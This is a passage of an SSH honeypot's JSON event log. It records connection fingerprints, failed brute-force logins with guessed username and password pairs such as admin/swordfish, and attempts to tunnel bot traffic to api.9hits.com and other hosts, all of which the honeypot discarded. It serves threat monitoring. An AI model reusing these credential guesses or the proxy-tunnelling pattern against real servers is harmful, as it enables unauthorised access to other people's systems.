x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03d\\x9f6\\xc8\\xf3\\x88R\\t>C\\xd6\\x1ca\\xed\\xe5\\xda\\xaa\\xa1V\\xae\\x80WR\\x82\\x9fX\\xb6#L\\x1a\\xbe\\xe9 &\\x90H\\x8d\\x8f\\x8a^\\x9d\\xe7K\\xbbO_kzM\\xb6R\\x86\\xbb\\x9a\\x9fm\\xcf\\xcd\\xa4o\\xe1P@\\x05^\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xed\\xb6\\xa3uF\\xb7S\\x1c$,\\xe6 \\xd4\\xfa:\\xac#\\xbd\\xc6\\x8c\\xb2s \\x85\\x18[-\\xb5\\x16\\x1c\\xb2\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:01.767473Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":59378,"dst_ip":"159.203.135.109","dst_port":22,"session":"f14b27ff7d60","protocol":"ssh","message":"New connection: 201.17.146.173:59378 (159.203.135.109:22) [session: f14b27ff7d60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:02.673266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:02.677860Z","src_ip":"201.17.146.173","session":"f14b27ff7d60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:02.827948Z","src_ip":"201.17.146.173","session":"f14b27ff7d60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"swordfish","message":"login attempt [admin/swordfish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:03.375807Z","src_ip":"91.92.40.36","session":"1a0e28755375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:03.453683Z","src_ip":"201.17.146.173","session":"f14b27ff7d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:04.645955Z","src_ip":"201.17.146.173","session":"f14b27ff7d60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:05.183928Z","src_ip":"91.92.40.36","session":"1a0e28755375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22926,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a479b90b3fd","protocol":"ssh","message":"New connection: 91.92.40.36:22926 (159.203.135.109:22) [session: 8a479b90b3fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:07.326371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:08.035987Z","src_ip":"91.92.40.36","session":"8a479b90b3fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:08.039716Z","src_ip":"91.92.40.36","session":"8a479b90b3fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:08.699411Z","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:08.738043Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Neffos Y5s Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cj8pTkUqIS9TVT9VWGlqbw%3D%3DxkvW86987yxTAVQR7rHqPedxEFHTZcDGgck8IIKQyTOXoW7YbeyPtb4rAfgbpMGwNOdTMIoS7lz070kaQtz%2B4G8Zsoo1OpU2CWNhyF%2FQOrpTYtJrUFKAjoe6vf2hQSBmYVtBwB3MizRCj4DgihsJl72Z9TJMuxJM%2F76STvY5cXf3OrJqkwa2kElUsG%2FcvRiwF7Wj4A30knZtGBzTbEFL5zz%2FWn43%2BX8bwbTXzqm0vfOVGJC5ZN0vqAvbU6Ql8i6Szf9KawoNWLsn54ceYSR0WckzKbzqwng%2BnYPtSGLf4zWiIo1SgzMq85%2BTsd4EnIoRNN5o9cihGMi25TkbXcckqRllzHsM7OjpYZQ8z9A4aP5yJUF9sfcnW%2BtfQPTcFB2z5isWaA2J2Y3%2BxbEhT6TYYP32ZO0%2BIbqQVl9cwDCrVoxsBFvBxmU2avDddLPgHz7j%2BurVZJtirb9fEDQf3WugRYfXpD3t%2BlPhon8vBnHvVaKYF%2FdD67FEe8OTGr8UJPRJPaVq3R%2BD%2FGnO%2FX8xxZDaZ%2BFTxQu%2FUKBB%2ByLzQZIdTqEFGEotaEmy0EebZ34j40rVU3XXO1MQKGi418sBSIJJSheCrVDpCQnpW3wxucIHXMMnwtmN710e0DPAVpwRoo0Dst8RIX43BeVS1kDsc51olbmqv9Jsu8Agz%2FOWQk%2By1GWay1IvAwqbO%2FZwwpnyrKMkm%2BpX683cetG46edpHxeYmJ6Ycr98PYfRki%2BTRmsJNbCVIIl4bw4vD%2FBXmaPo2tTNlAm%2B4pVy3cV2GGwhgt27zltvz2gpjFv44HFCI1Tt1g25Ek%2BcaNydZDX%2FKEYy%2F3e2wQ%2BP28Qn6hI6KTZzH89YYpPNObtwo5Q4F0pYp0zlCjbnGlN%2Fv2%2BLp5qVlFttUQqgl6MxKPjPCUpU%2BylJeSe1ByPfXdnG%2FS9qRQRrbrViQWKQWpA95kdl%2BLwAAxrTc5D2b6XxDHWUXwBPhDc7oYdluUeXuL0tfZ5ebV2lna9hopR0E2TYBZvmob4E4BXxGLIvUu4QwYhA1MaYmLllHUhz%2BOQ1stjipmzdt3mPua8%2BKzU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; Neffos Y5s Build/N2G47H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=cj8pTkUqIS9TVT9VWGlqbw%3D%3DxkvW86987yxTAVQR7rHqPedxEFHTZcDGgck8IIKQyTOXoW7YbeyPtb4rAfgbpMGwNOdTMIoS7lz070kaQtz%2B4G8Zsoo1OpU2CWNhyF%2FQOrpTYtJrUFKAjoe6vf2hQSBmYVtBwB3MizRCj4DgihsJl72Z9TJMuxJM%2F76STvY5cXf3OrJqkwa2kElUsG%2FcvRiwF7Wj4A30knZtGBzTbEFL5zz%2FWn43%2BX8bwbTXzqm0vfOVGJC5ZN0vqAvbU6Ql8i6Szf9KawoNWLsn54ceYSR0WckzKbzqwng%2BnYPtSGLf4zWiIo1SgzMq85%2BTsd4EnIoRNN5o9cihGMi25TkbXcckqRllzHsM7OjpYZQ8z9A4aP5yJUF9sfcnW%2BtfQPTcFB2z5isWaA2J2Y3%2BxbEhT6TYYP32ZO0%2BIbqQVl9cwDCrVoxsBFvBxmU2avDddLPgHz7j%2BurVZJtirb9fEDQf3WugRYfXpD3t%2BlPhon8vBnHvVaKYF%2FdD67FEe8OTGr8UJPRJPaVq3R%2BD%2FGnO%2FX8xxZDaZ%2BFTxQu%2FUKBB%2ByLzQZIdTqEFGEotaEmy0EebZ34j40rVU3XXO1MQKGi418sBSIJJSheCrVDpCQnpW3wxucIHXMMnwtmN710e0DPAVpwRoo0Dst8RIX43BeVS1kDsc51olbmqv9Jsu8Agz%2FOWQk%2By1GWay1IvAwqbO%2FZwwpnyrKMkm%2BpX683cetG46edpHxeYmJ6Ycr98PYfRki%2BTRmsJNbCVIIl4bw4vD%2FBXmaPo2tTNlAm%2B4pVy3cV2GGwhgt27zltvz2gpjFv44HFCI1Tt1g25Ek%2BcaNydZDX%2FKEYy%2F3e2wQ%2BP28Qn6hI6KTZzH89YYpPNObtwo5Q4F0pYp0zlCjbnGlN%2Fv2%2BLp5qVlFttUQqgl6MxKPjPCUpU%2BylJeSe1ByPfXdnG%2FS9qRQRrbrViQWKQWpA95kdl%2BLwAAxrTc5D2b6XxDHWUXwBPhDc7oYdluUeXuL0tfZ5ebV2lna9hopR0E2TYBZvmob4E4BXxGLIvUu4QwYhA1MaYmLllHUhz%2BOQ1stjipmzdt3mPua8%2BKzU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:08.740999Z","src_ip":"173.208.188.210","session":"64bcfd2d2c52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marcelo","password":"marcelo","message":"login attempt [marcelo/marcelo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:10.156487Z","src_ip":"91.92.40.36","session":"8a479b90b3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:11.315744Z","src_ip":"91.92.40.36","session":"8a479b90b3fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.8","message":"Connection lost after 36.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.233149Z","src_ip":"23.175.50.52","session":"626e5286eab7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.525822Z","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.811330Z","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.817334Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xc1.)YN\\x1dZ\\x0cg\\xecr\\x1b\\xa6$ ~G\\x9b\\x04c\\x00\\xb2\\xb1\\xb4\\x82!o\\x1f\\xf3\\x8d{ \\xbe\\x84\\xa1\\xf3\\xe9\\xfcro=4o\\xa2\\xb1<l\\x0e\\x8c\\xf1\\xb3f~i\\xe61V\\xb0o\\xed\\xd7\\xb7\\x01s\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8ddT\\xc3y\\xf4\\x90;\\x89%T\\x81\\xfbEh, d\\x83\\xa0\\x1d(\\xe3X$|\\xf1\\r\\xa1\\xcfZx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99\\xc1.)YN\\x1dZ\\x0cg\\xecr\\x1b\\xa6$ ~G\\x9b\\x04c\\x00\\xb2\\xb1\\xb4\\x82!o\\x1f\\xf3\\x8d{ \\xbe\\x84\\xa1\\xf3\\xe9\\xfcro=4o\\xa2\\xb1<l\\x0e\\x8c\\xf1\\xb3f~i\\xe61V\\xb0o\\xed\\xd7\\xb7\\x01s\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8ddT\\xc3y\\xf4\\x90;\\x89%T\\x81\\xfbEh, d\\x83\\xa0\\x1d(\\xe3X$|\\xf1\\r\\xa1\\xcfZx\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.822127Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:10:12.908417Z","src_ip":"38.46.222.137","session":"a4ef52bd2780","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.3 Mobile/17C54 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: 